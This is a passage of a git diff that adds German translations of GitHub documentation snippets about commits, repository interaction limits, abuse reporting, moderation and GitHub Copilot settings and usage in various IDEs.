+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133593"
+---
+Ähnlich wie beim Speichern einer Datei, die bearbeitet wurde, zeichnet ein Commit Änderungen an einer oder mehreren Dateien in Ihrem Branch auf. Git weist jedem Commit eine eindeutige ID zu, die als SHA oder Hash bezeichnet wird. Damit wird Folgendes identifiziert:
+
+- Die jeweiligen Änderungen
+- Der Zeitpunkt der Änderungen
+- Wer die Änderungen vorgenommen hat
+
+Wenn Du einen Commit durchführst, musst Du eine Commit-Mitteilung hinzufügen, in der die Änderungen kurz beschrieben werden.
diff --git a/translations/de-DE/data/reusables/community/interaction-limits-duration.md b/translations/de-DE/data/reusables/community/interaction-limits-duration.md
new file mode 100644
index 0000000000..c9a846e8b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/interaction-limits-duration.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: cf657c9824744a1373d304fcf7269ade515adf76
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133589"
+---
+Wenn du einen Interaktionsgrenzwert aktivierst, kannst du für diesen eine Dauer auswählen: 24 Stunden, 3 Tage, 1 Woche, 1 Monat oder 6 Monate.
diff --git a/translations/de-DE/data/reusables/community/interaction-limits-restrictions.md b/translations/de-DE/data/reusables/community/interaction-limits-restrictions.md
new file mode 100644
index 0000000000..7f1f4de0e4
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/interaction-limits-restrictions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6e39bb1cf7e63bdb43749b86356b65e2229e50b3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133586"
+---
+Durch aktivieren eines Interaktionslimits für ein Repository wird verhindert, dass bestimmte Benutzer Kommentare kommentieren, Probleme öffnen, Pull Requests erstellen, mit Emojis reagieren, vorhandene Kommentare bearbeiten und Titel von Problemen und Pull Request bearbeiten.
diff --git a/translations/de-DE/data/reusables/community/issue-forms-beta.md b/translations/de-DE/data/reusables/community/issue-forms-beta.md
new file mode 100644
index 0000000000..44ee30b0d9
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/issue-forms-beta.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 93a89f6fe5ca0f36d25c62e2a05f761c635a13ea
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881892"
+---
+{% note %}
+
+**Hinweis:** Issue-Formulare befinden sich derzeit in Beta für öffentliche Repositorys für {% data variables.product.prodname_dotcom_the_website %}.
+
+{% endnote %}
diff --git a/translations/de-DE/data/reusables/community/report-content.md b/translations/de-DE/data/reusables/community/report-content.md
new file mode 100644
index 0000000000..b5fe68ed8d
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/report-content.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: cf32c2763dc7a82eec7b4e7f4703d76a0d9e8d98
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145133581"
+---
+1. Möglicherweise werden Optionen angezeigt, um **Repository-Administratoren zu berichten** oder **Missbrauch von {% data variables.product.prodname_dotcom %}-Support** zu melden. Wenn dies nicht der Fall ist, springe zum nächsten Schritt.
+    - Um den Inhalt an {% data variables.product.prodname_dotcom %}-Support zu melden, klicke auf **Bericht von Missbrauch an {% data variables.product.prodname_dotcom %}-Support**.
+    - Um den Inhalt an Repository-Betreiber zu melden, wähle den Grund aus dem Dropdownmenü **Ursache auswählen** und klicke dann auf **Meldung an Repository-Administratoren**. Deine Meldung wurde übermittelt.
+  ![Modal „Berichtsinhalt"](/assets/images/help/repository/report-content-modal.png)
+2. Fülle das Formular „Berichtsinhalt" aus, und klicke dann auf **Anforderung senden**.
+  ![Formular „Berichtsinhalt“](/assets/images/help/repository/report-content-to-support-form.png)
diff --git a/translations/de-DE/data/reusables/community/set-interaction-limit.md b/translations/de-DE/data/reusables/community/set-interaction-limit.md
new file mode 100644
index 0000000000..d19a06a348
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/set-interaction-limit.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b18e125d90507995bc1526658f94b75042ef775
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881996"
+---
+5. Verwende unter „Temporäre Interaktionsbeschränkungen“ rechts neben der Art der Interaktionsbeschränkung, die du festlegen möchtest, das Dropdownmenü **Aktivieren**, und klicke dann auf die gewünschte Dauer deiner Interaktionsbeschränkung.
diff --git a/translations/de-DE/data/reusables/community/tools-for-moderating.md b/translations/de-DE/data/reusables/community/tools-for-moderating.md
new file mode 100644
index 0000000000..3aa7e2425c
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/tools-for-moderating.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6b42866a396ee7ca8d73747c8ef41a855c30ef85
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145133574"
+---
+Wenn störendes Verhalten in Deiner Gemeinschaft auftritt, bietet {% data variables.product.prodname_dotcom %} Werkzeuge für die Anwendung Deines Verhaltenskodex und der Deeskalation von Konflikten. Beispielsweise kannst Du eine Unterhaltung sperren, um eine überhitzte Interaktion zu entschärfen. Weitere Informationen findest du unter [Moderieren von Kommentaren und Unterhaltungen](/communities/moderating-comments-and-conversations).
diff --git a/translations/de-DE/data/reusables/community/types-of-interaction-limits.md b/translations/de-DE/data/reusables/community/types-of-interaction-limits.md
new file mode 100644
index 0000000000..2500dadebb
--- /dev/null
+++ b/translations/de-DE/data/reusables/community/types-of-interaction-limits.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 68607fbdf600b804f8ec79089306378b9d8e3026
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145133562"
+---
+Es gibt drei Arten von Interaktionsbeschränkungen:
+   - **Auf vorhandene Benutzer beschränken:** Begrenzt die Aktivität für Benutzer, deren Konto erst seit weniger als 24 Stunden besteht und die bisher keine Beiträge geleistet haben und keine Projektmitarbeiter sind.
+   - **Auf frühere Mitarbeiter beschränken:** Begrenzt die Aktivität für Benutzer, die noch keine Beiträge zum Standardbranch des Repositorys geleistet haben und keine Projektmitarbeiter sind.
+   - **Auf Repository-Projektmitarbeiter beschränken:** Begrenzt die Aktivität für Benutzer, die keinen Schreibzugriff auf das Repository haben.
diff --git a/translations/de-DE/data/reusables/copilot/accept-or-reject-suggestion.md b/translations/de-DE/data/reusables/copilot/accept-or-reject-suggestion.md
new file mode 100644
index 0000000000..c1104e8823
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/accept-or-reject-suggestion.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: c545a3c8f1ac91381154f5b964b0424ee5ba5d99
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882859"
+---
+1. Um einen Vorschlag anzunehmen, drücke die <kbd>TAB-TASTE</kbd>. Um alle Vorschläge abzulehnen, drücke <kbd>ESC</kbd>.
diff --git a/translations/de-DE/data/reusables/copilot/accept-suggestion-new-tab.md b/translations/de-DE/data/reusables/copilot/accept-suggestion-new-tab.md
new file mode 100644
index 0000000000..ae0332969f
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/accept-suggestion-new-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3da3b9e0e302813d685012175153af099c051d8b
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881732"
+---
+1. Wenn du einen Vorschlag auf der neuen Registerkarte annehmen möchten, klicke oberhalb des Vorschlags, den du annehmen möchtest, auf **Lösung annehmen**.
diff --git a/translations/de-DE/data/reusables/copilot/accept-suggestion-tab.md b/translations/de-DE/data/reusables/copilot/accept-suggestion-tab.md
new file mode 100644
index 0000000000..8062cf6bbe
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/accept-suggestion-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bd25bd5327548979aeee909153db01649618578c
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880830"
+---
+1. Wenn {% data variables.product.prodname_copilot %} dir einen Vorschlag macht, den du annehmen möchtest, drücke die <kbd>TAB-TASTE</kbd>.
diff --git a/translations/de-DE/data/reusables/copilot/accept-suggestion.md b/translations/de-DE/data/reusables/copilot/accept-suggestion.md
new file mode 100644
index 0000000000..803a3c0237
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/accept-suggestion.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7910f5753a6a71c2bcf76844d2c3fce90abad118
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147876970"
+---
+1. Um den Vorschlag zu akzeptieren, drücke die <kbd>TAB-TASTE</kbd>.
diff --git a/translations/de-DE/data/reusables/copilot/alternative-suggestions.md b/translations/de-DE/data/reusables/copilot/alternative-suggestions.md
new file mode 100644
index 0000000000..bf0d2c4799
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/alternative-suggestions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: bbfa166559b0ff4cdf9714a63560f5cde21b7073
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080015"
+---
+Für jede Eingabe kann {% data variables.product.prodname_copilot %} mehrere Vorschläge anbieten. Du kannst auswählen, welche Vorschläge verwendet werden sollen, oder alle Vorschläge ablehnen.
diff --git a/translations/de-DE/data/reusables/copilot/close-suggestions-tab.md b/translations/de-DE/data/reusables/copilot/close-suggestions-tab.md
new file mode 100644
index 0000000000..13ac8e779b
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/close-suggestions-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9e6f8220e9e46eb1a0b13b982344e5e2807e6106
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877082"
+---
+1. Um alle Vorschläge abzulehnen, kannst du auch die Registerkarte „Vorschläge“ schließen.
diff --git a/translations/de-DE/data/reusables/copilot/copilot-prerequisites.md b/translations/de-DE/data/reusables/copilot/copilot-prerequisites.md
new file mode 100644
index 0000000000..64cf5a51ce
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/copilot-prerequisites.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 65ef5b7ddead68864d8890f47e1ec5e8163a368b
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881948"
+---
+- {% data variables.product.prodname_copilot %} kann von geprüften Studenten und Open Source-Betreuern kostenlos verwendet werden. 
+- Wenn du kein Student oder Open Source-Betreuer bist, kannst du {% data variables.product.prodname_copilot %} mit einer einmaligen 60-Tage-Testversion kostenlos ausprobieren. Nach dem kostenlosen Test benötigst du ein kostenpflichtiges Abonnement für die weitere Nutzung. Du musst Abrechnungsinformationen angeben, um eine kostenlose Testversion zu nutzen. Weitere Informationen findest du unter [Informationen zur Abrechnung für {% data variables.product.prodname_copilot %}](/billing/managing-billing-for-github-copilot/about-billing-for-github-copilot).
diff --git a/translations/de-DE/data/reusables/copilot/create-c-file.md b/translations/de-DE/data/reusables/copilot/create-c-file.md
new file mode 100644
index 0000000000..4e499feb61
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/create-c-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 08294b8b3b4e2487719657ef4c1a66921c163748
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "147887849"
+---
+1. Erstelle in {% data variables.product.prodname_vs %} eine neue C#-Datei ( _*.cs_).
diff --git a/translations/de-DE/data/reusables/copilot/create-java-file.md b/translations/de-DE/data/reusables/copilot/create-java-file.md
new file mode 100644
index 0000000000..175876d276
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/create-java-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ba5f7b0060c4603e9c20183e263e367c36329227
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080022"
+---
+1. Erstelle in deiner JetBrains IDE eine neue Java-Datei ( _*.java_).
diff --git a/translations/de-DE/data/reusables/copilot/create-js-file.md b/translations/de-DE/data/reusables/copilot/create-js-file.md
new file mode 100644
index 0000000000..edfd8a8176
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/create-js-file.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2b1fb318f4373fa9168d50628f99fd9b1d157c57
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080142"
+---
+1. Erstelle in {% data variables.product.prodname_vscode %} eine neue JavaScript-Datei ( _*.js_).
diff --git a/translations/de-DE/data/reusables/copilot/dotcom-settings.md b/translations/de-DE/data/reusables/copilot/dotcom-settings.md
new file mode 100644
index 0000000000..cec730247d
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/dotcom-settings.md
@@ -0,0 +1,31 @@
+---
+ms.openlocfilehash: 224ce401421d3af0e9afa5976695c95ed219a7b5
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109177"
+---
+## Konfigurieren von {% data variables.product.prodname_copilot %}-Einstellungen auf {% data variables.product.prodname_dotcom_the_website %}
+
+Sobald du über eine aktive {% data variables.product.prodname_copilot %}-Testversion oder ein Abonnement verfügst, kannst du in den [{% data variables.product.prodname_copilot %}-Einstellungen](https://github.com/settings/copilot) {% data variables.product.prodname_copilot %}-Einstellungen für dein persönliches Konto auf {% data variables.product.prodname_dotcom %} anpassen. Die Einstellungen gelten überall, wo du {% data variables.product.prodname_copilot %} verwendest. Du kannst konfigurieren, welche Vorschläge von {% data variables.product.prodname_copilot %} angeboten werden sollen und wie {% data variables.product.company_short %} deine Telemetriedaten verwenden soll.
+
+## Aktivieren oder Deaktivieren der Duplikaterkennung
+
+{% data variables.product.prodname_copilot %} enthält einen Filter, der Codevorschläge erkennt, die öffentlichem Code auf {% data variables.product.prodname_dotcom %} entsprechen. Du kannst den Filter aktivieren oder deaktivieren. Wenn der Filter aktiviert ist, vergleicht {% data variables.product.prodname_copilot %} Codevorschläge einschließlich des umgebenden Codes von ca. 150 Zeichen mit öffentlichem Code auf {% data variables.product.prodname_dotcom %}. Wenn es eine Übereinstimmung oder Fast-Übereinstimmung gibt, wird der Vorschlag nicht angezeigt.
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %}
+1. Wähle unter **Vorschläge, die öffentlichem Code entsprechen** das Dropdownmenü aus, und klicke dann auf **Zulassen**, um Vorschläge, die öffentlichem Code entsprechen, zuzulassen, oder auf **Blockieren**, um Vorschläge, die öffentlichem Code entsprechen, zu blockieren.
+  ![Screenshot der Duplikaterkennungsoption](/assets/images/help/copilot/duplication-detection.png) {% data reusables.copilot.save-settings %}
+
+## Aktivieren oder Deaktivieren der Telemetrie
+
+Durch Anpassung der Benutzereinstellungen kannst du auswählen, ob deine Codeausschnitte von GitHub für die weitere Verarbeitung und Freigabe durch Microsoft und Open AI gesammelt und aufbewahrt werden sollen. Weitere Informationen zu Daten, die {% data variables.product.prodname_copilot %} in Abhängigkeit von deinen Telemetrieeinstellungen sammeln kann, findest du unter [{% data variables.product.company_short %}-Bedingungen für zusätzliche Produkte und Features](/free-pro-team@latest/site-policy/github-terms/github-terms-for-additional-products-and-features#github-copilot) und [{% data variables.product.prodname_copilot %}: Häufig gestellte Fragen zum Datenschutz](https://github.com/features/copilot/#faq-privacy).
+
+{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.copilot-settings %}
+1. Um die Verwendung deiner Telemetriedaten durch {% data variables.product.prodname_dotcom %} zuzulassen oder zu verhindern, aktiviere oder deaktiviere **{% data variables.product.prodname_dotcom %} die Verwendung meiner Codeausschnitte für Produktverbesserungen erlauben**.
+  ![Screenshot der Telemetrieoption](/assets/images/help/copilot/telemetry-option.png) {% data reusables.copilot.save-settings %}
+
+## Weiterführende Themen
+
+- [Häufig gestellte Fragen zu {% data variables.product.prodname_copilot %}](https://github.com/features/copilot/#faq)
diff --git a/translations/de-DE/data/reusables/copilot/emus-cannot-use-copilot.md b/translations/de-DE/data/reusables/copilot/emus-cannot-use-copilot.md
new file mode 100644
index 0000000000..ecf5575a0f
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/emus-cannot-use-copilot.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 323e67dec23f2baa8b6e43779ed89e549d5ca198
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: "148160775"
+---
+{% data variables.enterprise.prodname_managed_users_caps %} können keine {% data variables.product.prodname_copilot %} verwenden.
diff --git a/translations/de-DE/data/reusables/copilot/enabling-disabling-in-jetbrains.md b/translations/de-DE/data/reusables/copilot/enabling-disabling-in-jetbrains.md
new file mode 100644
index 0000000000..d753977957
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/enabling-disabling-in-jetbrains.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 960ff3b717cd2526824827ac5c98f613e30d9848
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080232"
+---
+## {% data variables.product.prodname_copilot %} aktivieren oder deaktivieren
+
+Du kannst {% data variables.product.prodname_copilot %} in JetBrains aktivieren oder deaktivieren. Das Statussymbol von {% data variables.product.prodname_copilot %} im unteren Bereich des JetBrains-Fensters gibt an, ob {% data variables.product.prodname_copilot %} aktiviert oder deaktiviert ist. Falls aktiviert, ist das Symbol hervorgehoben. Falls deaktiviert, ist das Symbol abgeblendet.
+
+1. Um {% data variables.product.prodname_copilot %} zu aktivieren oder zu deaktivieren, klicke im unteren Panel des JetBrains-Fensters auf das Statussymbol.
+   ![Screenshot des Statussymbols in JetBrains](/assets/images/help/copilot/status-icon-jetbrains.png)
+2. Wenn du {% data variables.product.prodname_copilot %} deaktivierst, fragt JetBrains, ob du das Feature global oder für die Sprache der Datei, die du gerade bearbeitest, deaktivieren möchtest. Für eine globale Deaktivierung klicke auf **Vervollständigungen deaktivieren**. Alternativ kannst du auch auf die Schaltfläche klicken, um Vervollständigungen für die Sprache der Datei zu deaktivieren, die du gerade bearbeitest.
+   ![Screenshot der Optionen zum globalen Deaktivieren von {% data variables.product.prodname_copilot %} oder für die aktuelle Sprache](/assets/images/help/copilot/disable-copilot-global-or-langugage-jetbrains.png)
diff --git a/translations/de-DE/data/reusables/copilot/enabling-or-disabling-in-vsc.md b/translations/de-DE/data/reusables/copilot/enabling-or-disabling-in-vsc.md
new file mode 100644
index 0000000000..78d86b330d
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/enabling-or-disabling-in-vsc.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: ff848691b0400698d7db5b173c4a00417a15e387
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080070"
+---
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_copilot %}
+
+Du kannst {% data variables.product.prodname_copilot %} in {% data variables.product.prodname_vscode %} aktivieren oder deaktivieren. Das Statussymbol {% data variables.product.prodname_copilot %} im unteren Bereich des {% data variables.product.prodname_vscode %}-Fensters gibt an, ob {% data variables.product.prodname_copilot %} aktiviert oder deaktiviert ist. Wenn es aktiviert ist, stimmt die Hintergrundfarbe des Symbols mit der Farbe der Statusleiste überein. Ist es deaktiviert, kontrastiert die Hintergrundfarbe des Symbols mit der Farbe der Statusleiste.
+
+1. Zum Aktivieren oder Deaktivieren von {% data variables.product.prodname_copilot %} klicke im unteren Bereich des {% data variables.product.prodname_vscode %}-Fensters auf das Statussymbol.
+   ![Screenshot des Statussymbols in {% data variables.product.prodname_vscode %}](/assets/images/help/copilot/status-icon-visual-studio-code.png)
+2. Wenn du {% data variables.product.prodname_copilot %} deaktivierst, wirst du gefragt, ob du Vorschläge global oder für die Sprache der aktuell bearbeiteten Datei deaktivieren möchtest.
+
+   - Um Vorschläge von {% data variables.product.prodname_copilot %} global zu deaktivieren, klicke auf **Global deaktivieren**.
+   - Wenn du Vorschläge von {% data variables.product.prodname_copilot %} für die angegebene Sprache deaktivieren möchtest, klicke auf **Für _SPRACHE_ deaktivieren**.
+   ![Screenshot der Option zum globalen Deaktivieren von {% data variables.product.prodname_copilot %} oder Deaktivieren für die aktuelle Sprache](/assets/images/help/copilot/disable-copilot-global-or-langugage.png)
diff --git a/translations/de-DE/data/reusables/copilot/enabling-or-disabling-vs.md b/translations/de-DE/data/reusables/copilot/enabling-or-disabling-vs.md
new file mode 100644
index 0000000000..d54186355c
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/enabling-or-disabling-vs.md
@@ -0,0 +1,18 @@
+---
+ms.openlocfilehash: 1163cafb6879db0d2c5a803568aede0c9538c118
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080395"
+---
+## Aktivieren oder Deaktivieren von {% data variables.product.prodname_copilot %}
+
+Das Statussymbol {% data variables.product.prodname_copilot %}' im unteren Bereich des {% data variables.product.prodname_vs %}-Fensters gibt an, ob {% data variables.product.prodname_copilot %} aktiviert oder deaktiviert ist. Bei Aktivierung stimmt die Hintergrundfarbe des Symbols mit der Farbe der Statusleiste überein. Bei Deaktivierung weist es eine diagonale Linie auf.
+
+1. Um {% data variables.product.prodname_copilot %} zu aktivieren oder deaktivieren, klicke auf das {% data variables.product.prodname_copilot %}-Symbol im unteren Bereich des {% data variables.product.prodname_vs %}-Fensters.
+  ![Screenshot des Editor-Rands in Visual Studio mit hervorgehobenem GitHub Copilot-Symbol](/assets/images/help/copilot/editor-margin-visual-studio.png)
+2. Wenn du {% data variables.product.prodname_copilot %} deaktivierst, wirst du gefragt, ob du Vorschläge global oder für die Sprache der aktuell bearbeiteten Datei deaktivieren möchtest.
+
+   - Um Vorschläge von {% data variables.product.prodname_copilot %} global zu deaktivieren, klicke auf **Global aktivieren**.
+   - Wenn du Vorschläge von {% data variables.product.prodname_copilot %} für die angegebene Sprache deaktivieren möchtest, klicke auf **Aktivieren für _SPRACHE_**.
diff --git a/translations/de-DE/data/reusables/copilot/generating-suggestions-from-comments.md b/translations/de-DE/data/reusables/copilot/generating-suggestions-from-comments.md
new file mode 100644
index 0000000000..c9a57fa18a
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/generating-suggestions-from-comments.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8b6e744268dea4179f5938a74018d857a180e898
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080034"
+---
+Sie können in einem Kommentar Ihre Absicht in natürlicher Sprache beschreiben, woraufhin {% data variables.product.prodname_copilot %} den Code vorschlägt, mit dem Sie Ihr Ziel erreichen.
diff --git a/translations/de-DE/data/reusables/copilot/getting-started-further-reading.md b/translations/de-DE/data/reusables/copilot/getting-started-further-reading.md
new file mode 100644
index 0000000000..d19a68eca1
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/getting-started-further-reading.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 0acad278b8d968113a1cfb10c5635742727872a6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080238"
+---
+## Weitere Informationsquellen
+
+- [{% data variables.product.prodname_copilot %}](https://copilot.github.com/)
+- [Informationen zu {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot)
diff --git a/translations/de-DE/data/reusables/copilot/install-copilot-in-neovim.md b/translations/de-DE/data/reusables/copilot/install-copilot-in-neovim.md
new file mode 100644
index 0000000000..4b10c8048b
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/install-copilot-in-neovim.md
@@ -0,0 +1 @@
+1. {% data variables.product.prodname_dotcom %} recommends that you install the {% data variables.product.prodname_copilot %} plugin with Neovim's built-in plugin manager. Alternatively, you can use a plugin manager of your choice to install `github/copilot.vim`.
diff --git a/translations/de-DE/data/reusables/copilot/jetbrains-ides.md b/translations/de-DE/data/reusables/copilot/jetbrains-ides.md
new file mode 100644
index 0000000000..2a2c8fd30f
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/jetbrains-ides.md
@@ -0,0 +1,27 @@
+---
+ms.openlocfilehash: 727b66c906d497f9bbe3655e8ff994d4dababb21
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080392"
+---
+Um {% data variables.product.prodname_copilot %} in JetBrains zu verwenden, muss eine kompatible JetBrains-IDE installiert sein. {% data variables.product.prodname_copilot %} ist mit den folgenden IDEs kompatibel.
+
+- IntelliJ IDEA (Ultimate, Community, Educational) 
+- Android Studio
+- AppCode
+- CLion
+- Code With Me Guest
+- DataGrip
+- DataSpell
+- GoLand
+- JetBrains Client
+- MPS
+- PhpStorm
+- PyCharm (Professional, Community, Educational)
+- Rider
+- RubyMine
+- WebStorm 
+
+Weitere Informationen findest du in der Toolsuche zu [JetBrains-IDEs](https://www.jetbrains.com/products/).
diff --git a/translations/de-DE/data/reusables/copilot/procedural-intro.md b/translations/de-DE/data/reusables/copilot/procedural-intro.md
new file mode 100644
index 0000000000..ac64a4d778
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/procedural-intro.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4ca3e837f2821e76a585f31670fd1c44071915b6
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080273"
+---
+{% data variables.product.prodname_copilot %} unterbreitet dir während des Programmierens als KI-Paarprogrammierer AutoVervollständigen-Vorschläge. Weitere Informationen findest du unter [Informationen zu {% data variables.product.prodname_copilot %}](/copilot/overview-of-github-copilot/about-github-copilot).
diff --git a/translations/de-DE/data/reusables/copilot/reject-suggestions-escape.md b/translations/de-DE/data/reusables/copilot/reject-suggestions-escape.md
new file mode 100644
index 0000000000..2a7a61c2b6
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/reject-suggestions-escape.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 130104b51690402e81c0e73141bfecf2f6b6a88a
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147080340"
+---
+1. Wenn du alternativ alle Vorschläge ablehnen möchtest, drücke <kbd>ESC</kbd>.
diff --git a/translations/de-DE/data/reusables/copilot/save-settings.md b/translations/de-DE/data/reusables/copilot/save-settings.md
new file mode 100644
index 0000000000..e26e75d308
--- /dev/null
+++ b/translations/de-DE/data/reusables/copilot/save-settings.md
@@ -0,0 +1,9 @@
+---
